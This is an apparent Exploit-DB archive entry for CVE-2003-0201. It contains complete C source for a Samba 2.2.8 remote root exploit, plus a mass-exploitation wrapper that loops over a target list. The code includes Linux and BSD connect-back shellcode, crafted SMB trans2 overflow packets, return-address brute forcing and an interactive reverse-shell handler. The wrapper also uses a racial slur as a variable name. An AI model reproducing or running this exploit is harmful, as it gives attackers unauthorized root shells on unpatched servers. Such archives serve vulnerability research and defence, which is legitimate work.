标题: Samba 2.2.8 - Brute Force Method Remote Command Execution EDB-ID: 55 CVE: 2003-0201 类型: REMOTE 平台: LINUX 发布日期: 2003-07-13 漏洞利用脚本: /* 
 * Mass Samba Exploit by Schizoprenic
 * Xnuxer-Research (c) 2003
 * This code just for eduction purpose 
 */

#include <stdio.h> 
#include <stdlib.h> 
#include <sys/stat.h> 

void usage(char *s)
{
  printf("Usage: %s  \n",s);
  exit(-1);
}

int main(int argc, char **argv)
{
  printf("Mass Samba Exploit by Schizoprenic\n");
  if(argc != 3) usage(argv[0]);
  scan(argv[1], argv[2]);
  return 0;
}

int scan(char *fl, char *bind_ip)
{
  FILE *nigger,*fstat;
  char buf[512];
  char cmd[100];
  int i;
  struct stat st;
   
  if((nigger=fopen(fl,"r")) == NULL) {
    fprintf(stderr,"File %s not found!\n", fl);
    return -1;
  }

  while(fgets(buf,512,nigger) != NULL)
  {
    if(buf[strlen(buf)-1]=='\n') buf[strlen(buf)-1]=0;
    for (i=0;i<4;i++) {
       sprintf(cmd, "./smb %d %s %s", i, buf, bind_ip);
       printf("\nTrying get root %s use type %d ...\n",buf,i);
       system(cmd);
       if (stat(".ROOT", &st) != -1) {
          unlink(".ROOT");
          break; 
       }
    }    
  }
  fclose(nigger);
  printf("\nMass exploiting finished.\n");
}


/*
 *  Samba Remote Root Exploit by Schizoprenic from Xnuxer-Labs, 2003.
 *  Using connect back method and brute force mode.
 *  I just create & modify some code and ripped too :P 
 *  Create on May, 12st 2003
 *
 *  Thanks to eDSee (netric.org), Sambal is nice exploit bro...
 *  References: trans2root.pl, 0x333hate.c, sambal.c
 *  This code just for eduction purpose 
 *
 *  XNUXER RESEARCH LABORATORY
 *  Official Site: http://infosekuriti.com
 *  Contact Email: xnuxer@yahoo.com, xnuxer@hackermail.com
 */

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

char
linux_connect_back[] =
    /* fork(), execve sh -c [client] [host to bounce to], term=xterm */
    "\x31\xc0\x31\xff\xb0\x02\xcd\x80\x39\xc7\x74\x7e\x31\xc0\x50"
    "\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20"
    "\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20"
    "\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20"
    "\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x89\xe1\x50\x66\x68"
    "\x2d\x63\x89\xe3\x50\x66\x68\x73\x68\x89\xe0\x57\x51\x53\x50"
    "\x89\xe1\x31\xc0\x50\x66\x68\x72\x6d\x68\x3d\x78\x74\x65\x68"
    "\x54\x45\x52\x4d\x89\xe2\x50\x52\x89\xe2\x57\x68\x6e\x2f\x73"
    "\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80\x31\xc0\xb0"
    "\x01\xcd\x80"

    /* connect back shellcode (port=0xb0ef) */
    "\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51"
    "\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc2\x31\xc0\x31\xc9\x51\x51"
    "\x68\x41\x42\x43\x44\x66\x68\xb0\xef\xb1\x02\x66\x51\x89\xe7\xb3"
    "\x10\x53\x57\x52\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x31\xc9\x39\xc1"
    "\x74\x06\x31\xc0\xb0\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\xcd\x80"
    "\x31\xc0\xb0\x3f\x89\xd3\xb1\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3"
    "\xb1\x02\xcd\x80\x31\xc0\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f"
    "\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0"
    "\x01\xcd\x80";

char
bsd_connect_back[] =
    /* fork(), execve sh -c [client] [host to bounce to], term=xterm */
    "\x31\xc0\x31\xff\xb0\x02\xcd\x80\x39\xc7\x74\x7e\x31\xc0\x50"
    "\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20"
    "\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20"
    "\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20"
    "\x68\x20\x20\x20\x20\x89\xe1\x50\x66\x68\x2d\x63\x89\xe3\x50"
    "\x66\x68\x73\x68\x89\xe0\x57\x51\x53\x50\x89\xe1\x31\xc0\x50"
    "\x66\x68\x72\x6d\x68\x3d\x78\x74\x65\x68\x54\x45\x52\x4d\x89"
    "\xe2\x50\x52\x89\xe2\x57\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
    "\x69\x89\xe3\x50\x52\x51\x53\x50\xb0\x3b\xcd\x80\x31\xc0\xb0"
    "\x01\xcd\x80"

    /* connect back shellcode (port=0xb0ef) */
    "\x31\xc0\x31\xdb\x53\xb3\x06\x53\xb3\x01\x53\xb3\x02\x53\x54\xb0"
    "\x61\xcd\x80\x31\xd2\x52\x52\x68\x41\x41\x41\x41\x66\x68\xb0\xef"
    "\xb7\x02\x66\x53\x89\xe1\xb2\x10\x52\x51\x50\x52\x89\xc2\x31\xc0"
    "\xb0\x62\xcd\x80\x31\xdb\x39\xc3\x74\x06\x31\xc0\xb0\x01\xcd\x80"
    "\x31\xc0\x50\x52\x50\xb0\x5a\xcd\x80\x31\xc0\x31\xdb\x43\x53\x52"
    "\x50\xb0\x5a\xcd\x80\x31\xc0\x43\x53\x52\x50\xb0\x5a\xcd\x80\x31"
    "\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54"
    "\x53\x50\xb0\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";

typedef struct {
 unsigned char type;
 unsigned char flags;
 unsigned short length;
} NETBIOS_HEADER;

typedef struct {
 unsigned char protocol[4];
 unsigned char command;
 unsigned short status;
 unsigned char reserved;
 unsigned char  flags;
 unsigned short flags2;
 unsigned char  pad[12];
 unsigned short tid;
 unsigned short pid;
 unsigned short uid;
 unsigned short mid;
} SMB_HEADER;

pid_t childs[50];
int LOOP = 1;
struct sockaddr_in serv_addr;
int sock_listen, client;
int exploit_pid;
int listen_pid;
int port_listen = 45295;

void 
usage(char *prog) 
{
int i;

   fprintf(stdout, "Samba < 2.2.8 Remote Root exploit by Schizoprenic\n"
                   "Connect back method, Xnuxer-Labs, 2003.\n"
                   "Usage  : %s   \n"
                   "Targets:\n"
                   "         0 = Linux\n"
                   "         1 = FreeBSD/NetBSD\n"
                   "         2 = OpenBSD 3.0 and prior\n"
                   "         3 = OpenBSD 3.2 - non-exec stack\n\n", prog);      
   exit(1);
}

int 
Connect(int fd, char *ip, unsigned int port, unsigned int time_out) 
{
 /* ripped from no1 */

 int                      flags;
 int                      select_status;
 fd_set                   connect_read, connect_write;
 struct timeval           timeout;
 int                      getsockopt_length = 0;
 int                      getsockopt_error = 0;
 struct sockaddr_in       server;
 bzero(&server, sizeof(server));
 server.sin_family = AF_INET;
 inet_pton(AF_INET, ip, &server.sin_addr);
 server.sin_port = htons(port);

 if((flags = fcntl(fd, F_GETFL, 0)) < 0) {
  close(fd);
      return -1;
   }
  
 if(fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0) {
  close(fd);
      return -1;
   }
   
 timeout.tv_sec = time_out;
 timeout.tv_usec = 0;
 FD_ZERO(&connect_read);
 FD_ZERO(&connect_write);
 FD_SET(fd, &connect_read);
 FD_SET(fd, &connect_write);

 if((connect(fd, (struct sockaddr *) &server, sizeof(server))) < 0) {
  if(errno != EINPROGRESS) {
         close(fd);
         return -1;
      }
   }
 else {
  if(fcntl(fd, F_SETFL, flags) < 0) {
   close(fd);
         return -1;
      }
      
  return 1;

 }

 select_status = select(fd + 1, &connect_read, &connect_write, NULL, &timeout);

 if(select_status == 0) {
  close(fd);
  return -1;

 }

 if(select_status == -1) {
  close(fd);
  return -1;
 }

 if(FD_ISSET(fd, &connect_read) || FD_ISSET(fd, &connect_write)) {
  if(FD_ISSET(fd, &connect_read) && FD_ISSET(fd, &connect_write)) {
   getsockopt_length = sizeof(getsockopt_error);

   if(getsockopt(fd, SOL_SOCKET, SO_ERROR, &getsockopt_error, &getsockopt_length)
< 0) {
    errno = ETIMEDOUT;
    close(fd);
    return -1;
   }

   if(getsockopt_error == 0) {
    if(fcntl(fd, F_SETFL, flags) < 0) {
     close(fd);
     return -1;
    }
    return 1;
          } 

   else {
    errno = getsockopt_error;
    close(fd);
    return (-1);
    }

   }
  }
 else {
  close(fd);
  return 1;
 }

 if(fcntl(fd, F_SETFL, flags) < 0) {
  close(fd);
  return -1;
 }
 return 1;
}

int 
read_timer(int fd, unsigned int time_out)
{

 /* ripped from no1 */

 int                      flags;
 int                      select_status;
 fd_set                   fdread;
 struct timeval           timeout;

 if((flags = fcntl(fd, F_GETFL, 0)) < 0) {
  close(fd);
  return (-1);
 }

 if(fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0) {
  close(fd);
  return (-1);
 }

 timeout.tv_sec = time_out;
 timeout.tv_usec = 0;
 FD_ZERO(&fdread);
 FD_SET(fd, &fdread);
 select_status = select(fd + 1, &fdread, NULL, NULL, &timeout);

 if(select_status == 0) {
  close(fd);
  return (-1);
 }

 if(select_status == -1) {
  close(fd);
  return (-1);
 }
  
 if(FD_ISSET(fd, &fdread)) {
  
    if(fcntl(fd, F_SETFL, flags) < 0) {
   close(fd);
         return -1;
      }
      
  return 1;
 
 } 
 else {
  close(fd);
  return 1;

 }
}

int
write_timer(int fd, unsigned int time_out)
{

 /* ripped from no1 */

 int                      flags;
 int                      select_status;
 fd_set                   fdwrite;
 struct timeval           timeout;

 if((flags = fcntl(fd, F_GETFL, 0)) < 0) {    
  close(fd);
  return (-1);
 }
 
 if(fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0) {
  close(fd);
  return (-1);
   }
   
 timeout.tv_sec = time_out;
 timeout.tv_usec = 0;
 FD_ZERO(&fdwrite);
 FD_SET(fd, &fdwrite);

 select_status = select(fd + 1, NULL, &fdwrite, NULL, &timeout);

 if(select_status == 0) {
  close(fd);
  return -1;
 }
 
 if(select_status == -1) {
  close(fd);
  return -1;
 }

 if(FD_ISSET(fd, &fdwrite)) {
  if(fcntl(fd, F_SETFL, flags) < 0) {
   close(fd);
   return -1;
  }
  return 1;
 }
 else { 
  close(fd);
  return -1;
 }
}

int 
start_session(int sock)
{
 char buffer[1000];
 char response[4096];
 char session_data1[]  = "\x00\xff\x00\x00\x00\x00\x20\x02\x00\x01\x00\x00\x00\x00";
        char session_data2[]  = "\x00\x00\x00\x00\x5c\x5c\x69\x70\x63\x24\x25\x6e\x6f\x62\x6f\x64\x79"
                    "\x00\x00\x00\x00\x00\x00\x00\x49\x50\x43\x24";
 
        NETBIOS_HEADER  *netbiosheader;
        SMB_HEADER      *smbheader;

 memset(buffer, 0x00, sizeof(buffer));

        netbiosheader   = (NETBIOS_HEADER *)buffer;
        smbheader       = (SMB_HEADER *)(buffer + sizeof(NETBIOS_HEADER));

        netbiosheader->type  = 0x00;         /* session message */
        netbiosheader->flags  = 0x00;
        netbiosheader->length  = htons(0x2E);

        smbheader->protocol[0]  = 0xFF;
        smbheader->protocol[1]  = 'S';
        smbheader->protocol[2]  = 'M';
        smbheader->protocol[3]  = 'B';
        smbheader->command  = 0x73;         /* session setup */
        smbheader->flags  = 0x08;         /* caseless pathnames */
        smbheader->flags2  = 0x01;         /* long filenames supported */
        smbheader->pid   = getpid() & 0xFFFF;
 smbheader->uid          = 100;
        smbheader->mid   = 0x01;

        memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER), session_data1,
sizeof(session_data1) - 1);

 if(write_timer(sock, 3) == 1)
  if (send(sock, buffer, 50, 0) < 0) return -1;

 memset(response, 0x00, sizeof(response));

 if (read_timer(sock, 3) == 1)
  if (read(sock, response, sizeof(response) - 1) < 0) return -1;
 
        netbiosheader = (NETBIOS_HEADER *)response;
        smbheader     = (SMB_HEADER *)(response + sizeof(NETBIOS_HEADER));

 //if (netbiosheader->type != 0x00) fprintf(stderr, "+ Recieved a non session message\n");

        netbiosheader   = (NETBIOS_HEADER *)buffer;
        smbheader       = (SMB_HEADER *)(buffer + sizeof(NETBIOS_HEADER));

        memset(buffer, 0x00, sizeof(buffer));

        netbiosheader->type     = 0x00;         /* session message */
        netbiosheader->flags    = 0x00;
        netbiosheader->length   = htons(0x3C);

        smbheader->protocol[0]  = 0xFF;
        smbheader->protocol[1]  = 'S';
        smbheader->protocol[2]  = 'M';
        smbheader->protocol[3]  = 'B';
        smbheader->command      = 0x70;         /* start connection */
 smbheader->pid          = getpid() & 0xFFFF;
 smbheader->tid  = 0x00;
        smbheader->uid          = 100;

 memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER), session_data2, sizeof(session_data2)
- 1);

        if(write_timer(sock, 3) == 1)
                if (send(sock, buffer, 64, 0) < 0) return -1;

        memset(response, 0x00, sizeof(response));

        if (read_timer(sock, 3) == 1)
                if (read(sock, response, sizeof(response) - 1) < 0) return -1;

        netbiosheader = (NETBIOS_HEADER *)response;
        smbheader     = (SMB_HEADER *)(response + sizeof(NETBIOS_HEADER));

        if (netbiosheader->type != 0x00) return -1;

        return 0;
}

int
exploit_normal(int sock, unsigned long ret, char *shellcode)
{

 char buffer[4000];
        char exploit_data[] =
                "\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                "\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"

  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                "\x00\x00\x00\x90";

 int i = 0;
 unsigned long dummy = ret - 0x90;

        NETBIOS_HEADER  *netbiosheader;
        SMB_HEADER      *smbheader;

 memset(buffer, 0x00, sizeof(buffer));

        netbiosheader   = (NETBIOS_HEADER *)buffer;
        smbheader       = (SMB_HEADER *)(buffer + sizeof(NETBIOS_HEADER));

        netbiosheader->type             = 0x00;         /* session message */
        netbiosheader->flags            = 0x04;
        netbiosheader->length           = htons(2096);

        smbheader->protocol[0]          = 0xFF;
        smbheader->protocol[1]          = 'S';
        smbheader->protocol[2]          = 'M';
        smbheader->protocol[3]          = 'B';
        smbheader->command              = 0x32;         /* SMBtrans2 */
 smbheader->tid   = 0x01;
        smbheader->uid                  = 100;

 memset(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER) + sizeof(exploit_data),
0x90, 3000);

 buffer[1096] = 0xEB;
 buffer[1097] = 0x70;

 for (i = 0; i < 4 * 24; i += 8) {
  memcpy(buffer + 1099 + i, &dummy, 4);
  memcpy(buffer + 1103 + i, &ret,   4);
 }

        memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER), 
   exploit_data, sizeof(exploit_data) - 1);
 memcpy(buffer + 1800, shellcode, strlen(shellcode));

 if(write_timer(sock, 3) == 1) {
  if (send(sock, buffer, sizeof(buffer) - 1, 0) < 0) return -1;
  return 0;
 }

 return -1;
}

int
exploit_openbsd32(int sock, unsigned long ret, char *shellcode)
{
        char buffer[4000];

        char exploit_data[] =
                "\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                "\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                "\x00\x00\x00\x90";

        int i = 0;
        unsigned long dummy = ret - 0x30;
        NETBIOS_HEADER  *netbiosheader;
        SMB_HEADER      *smbheader;

        memset(buffer, 0x00, sizeof(buffer));

        netbiosheader   = (NETBIOS_HEADER *)buffer;
        smbheader       = (SMB_HEADER *)(buffer + sizeof(NETBIOS_HEADER));

        netbiosheader->type             = 0x00;         /* session message */
        netbiosheader->flags            = 0x04;
        netbiosheader->length           = htons(2096);

        smbheader->protocol[0]          = 0xFF;
        smbheader->protocol[1]          = 'S';
        smbheader->protocol[2]          = 'M';
        smbheader->protocol[3]          = 'B';
        smbheader->command              = 0x32;         /* SMBtrans2 */
        smbheader->tid                  = 0x01;
        smbheader->uid                  = 100;

        memset(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER) + sizeof(exploit_data),
0x90, 3000);

 for (i = 0; i < 4 * 24; i += 4)
  memcpy(buffer + 1131 + i, &dummy, 4);
  
        memcpy(buffer + 1127, &ret,      4);

        memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER),
                        exploit_data, sizeof(exploit_data) - 1);

        memcpy(buffer + 1100 - strlen(shellcode), shellcode, strlen(shellcode));

        if(write_timer(sock, 3) == 1) {
                if (send(sock, buffer, sizeof(buffer) - 1, 0) < 0) return -1;
                return 0;
        }

        return -1;
}


void shell(int sock)
{
 fd_set  fd_read;
 char buff[1024], *cmd="uname -a;id;\n";
 int n;

 send(sock, cmd, strlen(cmd), 0);

 while(1) {
  FD_SET(sock,&fd_read);
  FD_SET(0,&fd_read);

  if(select(sock+1,&fd_read,NULL,NULL,NULL)<0) break;

  if( FD_ISSET(sock, &fd_read) ) {
   n=read(sock,buff,sizeof(buff));
   if (n == 0) {
       printf ("Connection closed.\n");
       exit(EXIT_FAILURE);
   } else if (n < 0) {
       perror("read remote");
       exit(EXIT_FAILURE);
   }
   write(1,buff,n);
  }

  if ( FD_ISSET(0, &fd_read) ) {
    if((n=read(0,buff,sizeof(buff)))<=0){
      perror ("read user");
      exit(EXIT_FAILURE);
    }
    write(sock,buff,n);
  }
 }
 close(sock); 
}

void GoAway() 
{
   exit(0);
}

void start_listen()
{
FILE *fstat;
int cpid;
   
LISTENER:

  bzero(&serv_addr, sizeof(serv_addr));
  serv_addr.sin_family=2;
  serv_addr.sin_addr.s_addr=0;
  serv_addr.sin_port=htons(port_listen); 
  sock_listen=socket(2,1,6);

  if(bind(sock_listen,(struct sockaddr *)&serv_addr,16)) 
  {   
      port_listen++;
      goto LISTENER;       
  }
   
  if(listen(sock_listen,1)) 
  {
      perror("listen");
      exit(1);
  }
   
  fprintf(stdout, "[+] Listen on port: %d\n",port_listen);
   
  cpid = fork();
 
  if (cpid) {
     client=accept(sock_listen,0,0);
     LOOP = 0;
     kill(SIGUSR2, exploit_pid);
     if (client > 0) {
        fprintf(stdout, "[+] Yeah, I have a root ....!\n"
                      "------------------------------\n");
        fstat=fopen(".ROOT", "a");  //needed by mass.c
        fclose(fstat);
        shell(client);
     }
     exit(0);
  }
}

int
main (int argc,char *argv[])
{
   char *shellcode = NULL;
   int typeos = -1;
   int port  = 139;
   int sock  = 0;
   int i  = 0;
   int status = 0;
   int m  = 0;
   int ip1  = 0;
   int ip2  = 0;
   int ip3  = 0;
   int ip4  = 0;
   int sta  = 0;
   int STEPS = 512;
   int ENDLOOP    = 64;
   char *desc; 
   unsigned long MAX_CHILDS  = 40;
   unsigned long ret         = 0x0;
   unsigned short int  a_port;
   struct sockaddr_in addr1;
   struct hostent *he;
   struct stat st;
   
      if (argc != 4) usage(argv[0]);
   
      typeos = atoi(argv[1]);
      if (typeos > 3) {
          fprintf(stdout, "Os type out of list!\n");
          exit(1);
      }

      he = gethostbyname(argv[2]);

      if (he == NULL) {
          fprintf(stderr, "Unable to resolve\n");
          return -1;
      }

      listen_pid = getpid();
      start_listen();
      exploit_pid = listen_pid + 1;

      //fprintf(stdout, "[+] Listen pid: %d, exploit pid: %d\n", listen_pid,exploit_pid);

      sscanf(argv[3], "%d.%d.%d.%d", &ip1, &ip2, &ip3, &ip4);  
      linux_connect_back[171] = ip1; bsd_connect_back[162] = ip1;
      linux_connect_back[172] = ip2; bsd_connect_back[163] = ip2;
      linux_connect_back[173] = ip3; bsd_connect_back[164] = ip3;
      linux_connect_back[174] = ip4; bsd_connect_back[165] = ip4;
    
      fprintf(stdout, "[+] Connecting back to: [%d.%d.%d.%d:%d]\n", 
     ip1, ip2, ip3, ip4, port_listen);

      a_port = htons(port_listen);
      
      linux_connect_back[177]= (a_port) & 0xff;
      linux_connect_back[178]= (a_port >> 8) & 0xff;
      bsd_connect_back[168]= (a_port) & 0xff;
      bsd_connect_back[169]= (a_port >> 8) & 0xff;

      switch(typeos) {
      case 0:
              desc = "Linux";
              ret = 0xc0000000;
              shellcode = linux_connect_back;
              break;
      case 1:
              desc = "FreeBSD/NetBSD";
              ret = 0xbfc00000;
              shellcode = bsd_connect_back;
              break;
      case 2:
              desc = "OpenBSD 3.1 and prior";
              ret = 0xdfc00000;
              shellcode = bsd_connect_back;
              break;
      case 3:
              desc = "OpenBSD 3.2 non-exec stack";
              ret = 0x00170000;
              shellcode = bsd_connect_back;
              break;
      }

      fprintf(stdout, "[+] Target: %s\n", desc);
      memcpy(&addr1.sin_addr, he->h_addr, he->h_length);

      addr1.sin_family = AF_INET;
      addr1.sin_port  = htons(port); 

      fprintf(stdout, "[+] Connected to [%s:%d]\n", (char *)inet_ntoa(addr1.sin_addr),
port);
      fprintf(stdout, "[+] Please wait in seconds...!\n");

      signal(SIGUSR2, GoAway);
   
      for (i = 0; i < 50; i++) childs[i] = -1;
      i = 0; m = 0;

      while (LOOP) {

           if ((sock = socket(AF_INET, SOCK_STREAM, 6)) < 0) {
              fprintf(stderr, "[+] socket() error.\n");
              exit(-1);
           }

           ret -= STEPS; i++;
           if ((ret & 0xff) == 0x00 && typeos != 3) ret++;             

           m++; 
           //fflush(0);
           //fprintf(stdout, "[+] Return Address: 0x%08x [%02d]\n", (unsigned int)ret,
m);

           usleep(150000);

           switch (childs[i] = fork()) {
           case 0:  
                  if (connect(sock, (struct sockaddr *)&addr1, sizeof(addr1)) == -
1) { 
                      //fprintf(stderr, "[+] connect() error.\n");
                      close(sock);
                      exit(-1);
                  }
   
                 start_session(sock);
                 sleep(3);
                  
                 if (typeos != 3) {
                           if (exploit_normal(sock, ret, shellcode) < 0) {
                              //fprintf(stderr, " -> Failed.\n");
                              close(sock);
                              exit(-1);
                           }
                 } else {
                           if (exploit_openbsd32(sock, ret, shellcode) < 0) {
                              //fprintf(stderr, " -> Failed.\n");
                              close(sock);
                              exit(-1);
                           }
                  }
                  sleep(5);
                  close(sock);
                  exit(0);
                  break;
           case -1:
                  exit(-1);
                  break;
           default:
                  if (i > MAX_CHILDS - 2) {
                      wait(&status);
                      i--;
                  }
                  break;
           } 

           if (m == ENDLOOP) LOOP = 0;
      }     

      if (stat(".ROOT", &st) != -1) 
         kill(SIGUSR2, listen_pid);
      else { 
           fprintf(stdout, "[+] Dohh, exploit failed.\n");
    close(client); close(sock_listen);
           kill(listen_pid, SIGUSR2);
    sleep(2);
    exit(0);
      }
}

// milw0rm.com [2003-07-13] URL: https://www.exploit-db.com/exploits/55